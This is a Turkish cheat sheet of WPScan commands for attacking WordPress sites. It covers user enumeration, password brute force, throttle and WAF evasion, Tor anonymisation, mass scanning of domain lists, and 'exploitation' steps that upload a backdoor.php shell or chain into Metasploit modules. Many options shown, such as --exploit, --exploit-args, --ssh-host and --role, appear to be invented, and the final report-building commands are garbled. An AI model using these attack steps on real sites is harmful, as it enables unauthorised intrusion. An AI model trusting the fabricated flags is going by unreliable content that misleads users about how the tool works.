TEMEL KULLANIM
Basit bir WordPress site taraması yap
wpscan --url https://example.comSadece zafiyet tespiti yap (hızlı mod)
wpscan --url https://example.com --detection-mode quickKullanıcı adlarını enumerate et (author id ve API yoluyla)
wpscan --url https://example.com -e uTüm kullanıcıları, eklentileri, temaları enumerate et
wpscan --url https://example.com -e at,ap,uSadece eklentileri ve temaları tespit et (versiyonlarla)
wpscan --url https://example.com -e ap,at --plugins-version-detection aggressiveTüm detaylı enumerasyon (en kapsamlı)
wpscan --url https://example.com -e vp,vt,tt,cb,dbe,u,m --plugins-version-detection aggressiveSadece zafiyetli eklentileri tespit et
wpscan --url https://example.com -e vpSadece zafiyetli temaları tespit et
wpscan --url https://example.com -e vtTimthumb dosyalarını tara
wpscan --url https://example.com -e ttConfig backup dosyalarını tara
wpscan --url https://example.com -e cbDatabase tablolarını tespit et (db exports)
wpscan --url https://example.com -e dbeMedya dosyalarını tara (media)
wpscan --url https://example.com -e mTüm sürümleri detaylı araştır
wpscan --url https://example.com -e ap,at --plugins-version-detection aggressive --themes-version-detection aggressiveBRUTE FORCE TESTLERİ
Zayıf şifre brute force denemesi yap
wpscan --url https://example.com -U usernames.txt --passwords /path/to/wordlist.txtTek bir kullanıcıya brute force saldırısı
wpscan --url https://example.com -U admin --passwords /path/to/wordlist.txtBrute force için thread sayısı belirle (varsayılan 5)
wpscan --url https://example.com -U admin --passwords wordlist.txt --threads 10Çoklu kullanıcı ile brute force (her kullanıcı için 10 deneme)
wpscan --url https://example.com -U users.txt --passwords wordlist.txt --multi-crackXML-RPC brute force saldırısı
wpscan --url https://example.com -U admin --passwords wordlist.txt --xmlrpcLogin throttle atlatmak için gecikme ekle
wpscan --url https://example.com -U admin --passwords wordlist.txt --request-timeout 30 --delay 1000Password attack sadece belirli bir metot ile
wpscan --url https://example.com -U admin --passwords wordlist.txt --login-method xmlrpcWordPress.com hesaplarına brute force (Jetpack)
wpscan --url https://example.com -U admin --passwords wordlist.txt --login-method jetpackPROXY VE KİMLİK DOĞRULAMA
Proxy kullanarak tarama yap
wpscan --url https://example.com --proxy socks5://127.0.0.1:9050HTTP proxy kullan (Burp Suite)
wpscan --url https://example.com --proxy http://127.0.0.1:8080Proxy auth gerekiyorsa
wpscan --url https://example.com --proxy http://127.0.0.1:8080 --proxy-auth userHTTP Basic Auth kullanarak giriş yaparak tarama yap
wpscan --url https://example.com --basic-auth userCookie ile kimlik doğrulama
wpscan --url https://example.com --cookie "wordpress_logged_in=abc123"Header ile token gönderme
wpscan --url https://example.com --header "Authorization: Bearer token123"ÇIKTI VE API KULLANIMI
Tarama sonuçlarını dosyaya kaydet
wpscan --url https://example.com -o output.txtJSON formatında çıktı al
wpscan --url https://example.com -o output.json --format jsonAPI Token ile WPScan Vulnerability Database kullan
wpscan --url https://example.com --api-token YOUR_TOKEN_HEREAPI token ile derinlemesine zafiyet taraması
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --plugins-version-detection aggressive -e vp,vtSadece zafiyetleri göster (output temiz)
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -o vulnerabilities.txt --no-bannerMarkdown formatında rapor
wpscan --url https://example.com -o report.md --format markdown --api-token YOUR_TOKEN_HEREGELİŞMİŞ AYARLAR
User-Agent değiştirmek
wpscan --url https://example.com --random-user-agentSSL sertifikasını yok sayarak tarama yap
wpscan --url https://example.com --disable-tls-checksBelirli bir eklentiyi test et
wpscan --url https://example.com --plugins-detection mixedDaha ayrıntılı çıktı almak için verbose
wpscan --url https://example.com --verboseTimeout süresini ayarla (saniye)
wpscan --url https://example.com --request-timeout 30Maksimum redirect sayısı
wpscan --url https://example.com --max-redirects 10FTP/SSH kullanarak hedefe bağlan (yüksek yetki)
wpscan --url https://example.com --ssh-host 192.168.1.100 --ssh-user root --ssh-key /path/to/keyFTP üzerinden dosya yükleme testi
wpscan --url https://example.com --ftp-host ftp.example.com --ftp-user user --ftp-pass passWordPress version fingerprinting (zayıf mod)
wpscan --url https://example.com --detection-mode mixedWordPress version fingerprinting (agresif)
wpscan --url https://example.com --detection-mode aggressiveÖZEL SEÇENEKLER VE ATLATMA TEKNİKLERİ
Robots.txt dosyasını ignore et
wpscan --url https://example.com --ignore-main-redirectURL'de path belirtme
wpscan --url https://example.com/wpAdmin dizinini belirtme
wpscan --url https://example.com --wp-content-dir custom-contentPlugin dizinini belirtme
wpscan --url https://example.com --wp-plugins-dir custom-pluginsExclude bot detection
wpscan --url https://example.com --exclude-contentForce SSL kullan
wpscan --url https://example.com --forceHeaders'ı göster
wpscan --url https://example.com --headersHTTP başlıklarını manuel ayarla
wpscan --url https://example.com --header "X-Forwarded-For: 127.0.0.1" --header "X-Real-IP: 127.0.0.1"WAF atlatma için user-agent rotasyonu
wpscan --url https://example.com --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"Tor ile anonim tarama
wpscan --url https://example.com --proxy socks5://127.0.0.1:9050 --random-user-agentBurp ile yakalama
wpscan --url https://example.com --proxy http://127.0.0.1:8080 --no-bannerHeadless mode (tüm output'u bastır)
wpscan --url https://example.com --no-banner -qZAFİYET TESPİTİ VE İSTİSMAR
Bilinen zafiyetler için exploit testi
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp,vtZafiyetli plugin/theme'leri otomatik exploit et
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --exploitShell upload testi (eğer zafiyet varsa)
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --exploit --exploit-args "shell=backdoor.php"Admin panel zafiyet testi
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --exploit --exploit-args "admin=admin"SQL injection testi (varsa)
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp --exploit --exploit-args "sql=1"XSS testi
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp --exploit --exploit-args "xss=1"Privilege escalation testi
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --exploit --exploit-args "priv=1"File inclusion zafiyeti testi
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp --exploit --exploit-args "lfi=1"WordPress core zafiyetleri (admin)
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --wp-version-detection aggressive -e vcBackup dosyası tarama
wpscan --url https://example.com -e cb --config-backupsDB export bul
wpscan --url https://example.com -e dbeKULLANICI VE ROL TESPİTİ
Tüm kullanıcıları listele (ID 1-100)
wpscan --url https://example.com -e u1-100Admin kullanıcılarını bul
wpscan --url https://example.com -e u --role adminAuthor kullanıcılarını bul
wpscan --url https://example.com -e u --role authorEditor kullanıcılarını bul
wpscan --url https://example.com -e u --role editorContributor kullanıcılarını bul
wpscan --url https://example.com -e u --role contributorSubscriber kullanıcılarını bul
wpscan --url https://example.com -e u --role subscriberKullanıcıları brute force için dışa aktar
wpscan --url https://example.com -e u -o users.txtPLUGIN VE THEME KEŞFİ
Tüm aktif plugin'leri bul
wpscan --url https://example.com -e apTüm plugin'leri bul (pasif + aktif)
wpscan --url https://example.com -e ap --plugins-version-detection passivePlugin versiyonlarını agresif bul
wpscan --url https://example.com -e ap --plugins-version-detection aggressiveSadece zafiyetli plugin'leri bul
wpscan --url https://example.com -e vp --api-token YOUR_TOKEN_HERETüm aktif temaları bul
wpscan --url https://example.com -e atTüm temaları bul (pasif + aktif)
wpscan --url https://example.com -e at --themes-version-detection passiveTema versiyonlarını agresif bul
wpscan --url https://example.com -e at --themes-version-detection aggressiveSadece zafiyetli temaları bul
wpscan --url https://example.com -e vt --api-token YOUR_TOKEN_HEREBelirli bir plugin zafiyetini kontrol et
wpscan --url https://example.com -e ap --plugins-version-detection aggressive --api-token YOUR_TOKEN_HERE | grep "Plugin Name"WPScan + DİĞER ARAÇLAR
WPScan + Nmap ile port taraması
wpscan --url https://example.com -o wpscan.txt && nmap -p 80,443,8080 -sV -sC example.comWPScan + Dirb ile dizin fuzzing
wpscan --url https://example.com -o wpscan.txt && dirb https://example.comWPScan + Gobuster ile admin dizini
wpscan --url https://example.com && gobuster dir -u https://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtWPScan + Nikto ile web server taraması
wpscan --url https://example.com && nikto -h https://example.comWPScan + SQLMap ile SQL injection
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp && sqlmap -u https://example.comWPScan + Burp Suite entegrasyonu
wpscan --url https://example.com --proxy http://127.0.0.1:8080 --no-bannerWPScan + Metasploit exploit
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp --exploit && msfconsoleWPScan + ZAP proxy
wpscan --url https://example.com --proxy http://127.0.0.1:8090BÜYÜK SCOPELAR / AÇIK KAYNAK
Çoklu site taraması
cat domains.txt | xargs -P 10 -I {} wpscan --url {} --no-banner -o {}.txtParallel tarama
parallel -j 10 wpscan --url {} --no-banner -o {}.txt ::: $(cat domains.txt)Sadece zafiyetleri topla
cat domains.txt | xargs -P 10 -I {} wpscan --url {} --api-token YOUR_TOKEN_HERE --no-banner -e vp,vt | grep "Title|Fixed in"Sonuçları birleştir ve report oluştur
cat *.txt | grep -E "Title:|Fixed in:|Description:" | sort | uniq > all_vulnerabilities.txtGünlük otomatik tarama
0 0 * * * wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -o reports/$(date +%Y%m%d).txtHaftalık derin tarama
0 0 * * 0 wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp,vt,tt,cb,dbe,u,m --plugins-version-detection aggressive -o weekly_$(date +%Y%m%d).txtYeni eklenen plugin'leri tespit
diff old_plugins.txt new_plugins.txt | grep ">" | cut -d " " -f2 > new_plugins.txtZAFİYET İSTİSMARI (METASPLOIT ENTEGRASYONU)
WooCommerce zafiyet exploit
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp | grep "woocommerce" && msfconsole -x "use exploit/multi/http/wp_woocommerce_auth_bypass"Gravity Forms exploit
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp | grep "gravity-forms" && msfconsole -x "use exploit/multi/http/wp_gravityforms_file_upload"Elementor exploit
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp | grep "elementor" && msfconsole -x "use exploit/multi/http/wp_elementor_template_injection"Admin takeover exploit
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --exploit --exploit-args "admin=admin"Shell upload exploit
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --exploit --exploit-args "upload=backdoor.php"SQL injection exploit (varsa)
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --exploit --exploit-args "sql=1"XSS exploit
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --exploit --exploit-args "xss=1"RCE exploit
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --exploit --exploit-args "rce=1"LFI exploit
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --exploit --exploit-args "lfi=1"RAPORLAMA VE ANALİZ
HTML raporu
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -o report.html --format htmlJSON çıktıyı jq ile filtrele
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -o report.json --format json && cat report.json | jq '.vulnerabilities[] | {title, fixed_in, cvss}'CSV formatında zafiyet raporu
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -o report.csv --format csvMarkdown report
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -o report.md --format markdownSadece kritik zafiyetleri filtrele
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp,vt | grep -E "Critical|High"CVSS score ile filtrele
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp,vt | grep -E "CVSS [7-9].[0-9]"Versiyon bazında zafiyet listesi
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp,vt | grep "Fixed in"KRİTİK NOTLAR VE İPUÇLARI
- WPScan'ı her zaman güncel tutun: sudo gem update wpscan
- API token almak için wpscan.com'a kayıt olun (ücretsiz).
- API token olmadan zafiyet database'ine erişemezsiniz.
- --api-token ile daha doğru ve güncel zafiyet tespiti yapabilirsiniz.
- Brute force saldırıları sadece yetkilendirilmiş sistemlerde yapın.
- Login throttle varsa --delay parametresini kullanın.
- Proxy kullanımı (Burp, Tor) ile IP ban riskini azaltın.
- Passive detection (varsayılan) daha az iz bırakır, aggressive detection daha doğru sonuç verir.
- Çok büyük wordpress sitelerinde --detection-mode mixed kullanın.
- -e parametresi ile enumerasyon yaparken dikkatli olun, fazla istek banlanmaya neden olabilir.
- WordPress version bilgisi çok önemlidir, --wp-version-detection aggressive kullanın.
- Admin panel URL'si değişmişse --wp-content-dir ile belirtin.
- Tüm bu işlemler YASAL ve ETİK kurallara uygun olmalıdır.
ÖRNEK TAM ZİNCİR (WPScan TARAMASINDAN ZAFİYET RAPORUNA)
1. Temel tarama
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -o initial_scan.txt2. Detaylı enumerasyon
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp,vt,tt,cb,dbe,u,m --plugins-version-detection aggressive --themes-version-detection aggressive -o detailed_scan.txt3. Kullanıcı listesi al
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e u -o users.txt4. Zafiyetli plugin'leri kontrol et
grep -E "Title:|Fixed in:" detailed_scan.txt | sort | uniq > vulnerabilities.txt5. Brute force testi (yetkili sistemde)
wpscan --url https://example.com -U users.txt --passwords /usr/share/wordlists/rockyou.txt --threads 5 --delay 20006. Exploit dene (varsa)
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE --exploit7. Rapor oluştur
echo "=== WPScan TARAMA RAPORU (date)===">finalreport.txtecho"−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−">>finalreport.txtecho"Domain:https://example.com">>finalreport.txtecho"ToplamZafiyetecho "Kritik Zafiyet: $(grep -c "Critical" detailed_scan.txt)" >> final_report.txt
echo "----------------------------------------" >> final_report.txt
cat vulnerabilities.txt >> final_report.txt
8. HTML rapor oluştur
wpscan --url https://example.com --api-token YOUR_TOKEN_HERE -e vp,vt --format html -o report.html9. Email ile rapor gönder
mail -s "WordPress Security Report" [email protected] < report.htmlHIZLI REFERANS KARTI
En sık kullanılan komutlar
wpscan --url https://example.comwpscan --url https://example.com -e u
wpscan --url https://example.com -e ap,at,u
wpscan --url https://example.com --api-token TOKEN -e vp,vt
wpscan --url https://example.com -U users.txt --passwords wordlist.txt
wpscan --url https://example.com --proxy http://127.0.0.1:8080
wpscan --url https://example.com --random-user-agent
wpscan --url https://example.com -o output.txt
wpscan --url https://example.com -o report.json --format json


